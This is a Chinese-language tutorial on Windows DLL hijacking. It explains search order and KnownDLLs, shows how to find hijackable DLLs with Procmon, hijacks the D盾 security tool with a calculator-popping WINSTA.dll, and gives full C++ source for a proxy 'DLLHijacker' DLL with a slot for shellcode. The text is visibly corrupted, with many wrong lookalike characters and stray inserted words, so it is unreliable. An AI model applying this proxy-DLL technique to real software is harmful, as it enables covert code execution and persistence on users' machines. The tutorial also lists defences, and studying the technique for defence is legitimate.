在Windows系统中,为了节省内存和实现代码重用,微软在Windows操做系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library),即动态连接库,这种库包含了可由多个程序同时使用的代码和数据。
每一个DLL都有一个入口函数(DLLMain),系统在特定环境下会调用DLLMain。在下面的事件发生时就会调用dll的入口函数:html
可是不少状况下,开发人员都是使用了相对路径来进行DLL的加载。那么,在这种状况下,Windows系统会按照特定的顺序去搜索一些目录,来肯定DLL的完整路径。关于动态连接库的搜索顺序的更多详细资料请参阅MSDN。根据MSDN文档的约定,在使用了DLL的相对路径
调用LoadLibrary函数时,系统会依次从下面几个位置去查找所须要调用的DLL文件。ios
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
微软为了更进一步的防护系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。注册表路径以下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
之前常用的一些劫持DLL已经被加入了KnownDLLs注册表项,这就意味着使用诸如usp10.dll,lpk.dll,ws2_32.dll去进行DLL劫持已经失效了。
因此在win7及以上当启用了SafeDllSearchMode搜索顺序以下shell
在上述描述加载DLL的整个过程当中,DLL劫持漏洞就是在系统进行安装“DLL路径搜索目录顺序”搜索DLL的时候发生的。
不管安全DLL搜索模式是否开启,系统老是首先会从应用程序(程序安装目录)所在目录加载DLL,若是没有找到就按照上面的顺序依次进行搜索。那么,利用这个特性,攻击者就能够伪造一个相同名称的dll,只要这个dll不在KnownDLLs注册表项中,咱们就能够对该dll进行劫持测试。
键值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win10的以下
windows
有不少软件能够查看exe加载的dll
process-explorer
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
火绒剑
Process Monitor
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
使用的时候能够设置Filter,填入过滤条件,能够帮助排除不少无用的信息安全
Include the following filters: Operation is CreateFile Operation is LoadImage Path contains .cpl Path contains .dll Path contains .drv Path contains .exe Path contains .ocx Path contains .scr Path contains .sys Exclude the following filters: Process Name is procmon.exe Process Name is Procmon64.exe Process Name is System Operation begins with IRP_MJ_ Operation begins with FASTIO_ Result is SUCCESS Path ends with pagefile.sys
相似下图这种就是该dll在KnownDLLs注册表项里
函数
这里用D盾进行劫持实验
仍是先使用Process Explorer
能够将这些dll文件与KnownDLLs注册表项里的dll进行比较,找出不在范围内的dll进行劫持测试
固然这里也有偷懒的方法,批量自动化测试
这里ctrl+s能够直接保存获取的信息文本,而后再经过正则来提取路径信息,再放到批量验证工具里
存在的话就会直接输出结果
不存在就会显示no
上面显示存在两个dll可能能够劫持
这里直接放一个弹计算器的dll改为WINSTA.dll放到D盾目录下,再运行D盾,成功弹出。
工具
可是这种方法只劫持了加载计算机的函数,原来dll还有不少其余的导出函数,这样直接劫持可能会致使程序没法正常启动。
因此通常会制做一个相同名称,相同导出函数表的一个“假”DLL,并将每一个导出函数转向到“真”DLL。将这个“假”DLL放到程序的目录下,当程序调用DLL中的函数时就会首先加载“假”DLL,在“假”DLL中攻击者已经加入了恶意代码,这时这些恶意代码就会被执行,以后,“假”DLL再将DLL调用流程转向“真”DLL,以避免影响程序的正常执行。
这里咱们制做一个弹窗的dll来进行测试,
1.首先使用VS2019新建一个DLL项目
2.在生成的dllmain.cpp下添加测试
void msg() { MessageBox(0, L"Dll-1 load succeed!", L"Good", 0); }
3.而后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件spa
#pragma once #define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 // Windows 头文件 #include <windows.h> extern "C" __declspec(dllexport) void msg(void);
而后编译生成Dll1.dll
再新建一个C++项目,填入以下代码
操作系统
#include <iostream> #include <Windows.h> using namespace std; int main() { // 定义一个函数类DLLFUNC typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL; // 指定动态加载dll库 HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL if (hinst != NULL) { // 获取函数位置 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名 } if (GetDllfunc != NULL) { //运行msg函数 (*GetDllfunc)(); } }
想了解dll编写细节的能够看这里
再次生成解决方案,而后将以前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe
成功弹窗
这里咱们用以前转发劫持dll的思路,来试验一下
这里我用脚本一键生成用来劫持的dll
这是默认生成的
# include "pch.h" # define EXTERNC extern "C" # define NAKED __declspec(naked) # define EXPORT EXTERNC __declspec(dllexport) # define ALCPP EXPORT NAKED # define ALSTD EXTERNC EXPORT NAKED void __stdcall # define ALCFAST EXTERNC EXPORT NAKED void __fastcall # define ALCDECL EXTERNC NAKED void __cdecl EXTERNC { FARPROC Hijack_msg; } namespace DLLHijacker { HMODULE m_hModule = NULL; DWORD m_dwReturn[17] = {0}; inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; lstrcpy(tzPath, TEXT("Dll1")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) return FALSE; return (m_hModule != NULL); } FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf((LPWSTR)szProcName, L"%d", pszProcName); pszProcName = szProcName; } ExitProcess(-2); } return fpAddress; } } using namespace DLLHijacker; VOID Hijack() //default open a calc.//添加本身的代码 { } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); if(Load()) { Hijack_msg = GetAddress("msg"); Hijack(); } } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
在编译生成新的dll前要注意在代码这一行,将Dll1改成Dll2.dll
lstrcpy(tzPath, TEXT("Dll2.dll"));
而后在代码这一行添加弹窗或者执行shellcode
VOID Hijack() //default open a calc. { MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0); }
而后编译生成
再将咱们以前生成的Dll1.dll改成Dll2.dll,将两个Dll和Meg.exe放在同一个目录下
运行Meg.exe这时候应该会有两个弹窗
能够看到是先劫持DLL添加的弹窗,再弹出DLL本来的弹窗
通用免疫方案: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs]在此注册表项下定义一个“已知DLL名称”,那么凡是此项下的DLL文件就会被禁止从EXE自身目录下调用,而只能从系统目录,也就是system32目录下调用。据此能够写一个简单的DLL劫持免疫器 或者能够在加载dll是检测MD5和大小,来防护.